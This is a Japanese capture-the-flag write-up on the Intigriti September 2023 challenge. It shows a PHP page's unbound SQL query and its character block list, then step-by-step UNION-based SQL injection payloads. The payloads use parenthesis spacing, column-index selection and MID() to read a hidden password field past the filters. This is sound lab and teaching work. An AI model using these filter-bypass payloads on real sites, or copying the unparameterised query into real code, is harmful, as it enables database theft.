Intigrity 2023 September Challenge Writeup

# アプリケーション調査

php製のサイトでユーザー一覧の機能があります。

image

画面下部のShow sourceをクリックすることでアプリケーション自体のソースコードが閲覧できます。

image

以下のようにSQLが実行されているのが確認できます。

Prepared Statementを使用しておらず、SQLインジェクションの脆弱性があります。

try{
//seen in production
$stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");
$stmt->execute();
$results = $stmt->fetchAll();
}
catch(\PDOException $e){
    exit("ERROR: BROKEN QUERY");
} 

ただし、以下の部分で文字列フィルターが実装されており、禁止文字列を使用するとH4ckerzzzzのレスポンスが返るようになっています。

if (isset($_GET['max']) && !is_array($_GET['max']) && $_GET['max']>0) {
    $max = $_GET['max'];
    $words  = ["'","\"",";","`"," ","a","b","h","k","p","v","x","or","if","case","in","between","join","json","set","=","|","&","%","+","-","<",">","#","/","\r","\n","\t","\v","\f"]; // list of characters to check
    foreach ($words as $w) {
        if (preg_match("#".preg_quote($w)."#i", $max)) {
            exit("H4ckerzzzz");
        } //no weird chars
    }       
}

また、SQLで取得したデータをHTMLに描画する際も文字列フィルターが存在し、INTIGRITIがカラムの値に含まれている場合、REDACTEDに変換されます。

<tbody>
  <?php foreach ($results as $row): ?>
    <tr>
      <td><?= htmlspecialchars(strpos($row['id'],"INTIGRITI")===false?$row['id']:"REDACTED"); ?></td> 
      <td><?= htmlspecialchars(strpos($row['name'],"INTIGRITI")===false?$row['name']:"REDACTED"); ?></td>
      <td><?= htmlspecialchars(strpos($row['email'],"INTIGRITI")===false?$row['email']:"REDACTED"); ?></td>
    </tr>
  <?php endforeach; ?>
</tbody> 

また、usersテーブルの構造も与えられます。

passwordフィールドが取得されていないのでフラグはおそらくpasswordにあると思います。

/* FYI
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    email VARCHAR(255) UNIQUE NOT NULL,
    password VARCHAR(255) NOT NULL
);
*/ 

ここまででフラグを得る方針として、

を立てます。

SQLインジェクションでUNION句を実行する

ソースコードからURLパラメータmaxにSQLインジェクションがあることがわかっているのでUNION句を実行する方法を探します。

ただし、SQLフィルターにより多くの文字が使用できません。特にスペースが使用できないのは痛いです。

そこでスペース無しでSQLを実行する方法を探していると以下の記事がヒットしました。

No spaces bypass

No -*|%/ and no whitespace, is this SQL injectable?

これらの記事によると、以下のSQLは

SELECT id, name FROM Users;

以下のように()を使用することで実行できるようです。

SELECT(id),(name)FROM(users);

試しに正しいカラム数の行を追加してみると、成功します。

max=1^(1)UNION(SELECT(1),2,3)

image

次にUNIONでusersテーブルのpasswordをSELECTしたいところですが、SQLフィルターによってpaなどの文字が引っかかってしまいます。

/*selectでpasswordカラムを指定できない*/
max=1^(1)UNION(SELECT(id),name,(password)FROM(users))

そこでテーブル名.カラムインデックスでカラムを指定する方法を使用します。

Bypass column names restriction

このSQLのid,nameは

SELECT id, name FROM users;

以下のSQL文で取得できます。

SELECT U.1,U.2 FROM (SELECT 1,2,3,4 UNION SELECT * FROM users)U

この方法を用いて以下のペイロードを作成します。

?max=1^(1)UNION(SELECT(U.1),U.2,(U.4)FROM(SELECT(1),2,3,(4)UNION(SELECT*FROM(users)))U)

このペイロードを送信すると編集されたパスワードフィールドが閲覧できます。

image

後はINTIGRITIフィルターを突破します。

SQLで取得した文字列にINTIGRITIという文字列が含まれていなければOKなのでMID関数を使用します。

ここでもSQLフィルターは有効なので使える関数は限られてきます。

上記のペイロードのU.4をSELECTしている部分を下記のように変更して送信します。

フラグの2文字目から最後までを取得するという処理です。

?max=1^(1)UNION(SELECT(U.1),U.2,MID(U.4,2)FROM(SELECT(1),2,3,(4)UNION(SELECT*FROM(users)))U)

これでフィルターを回避してフラグを表示させることができます。(フラグの一文字目はIです。)

image

まとめ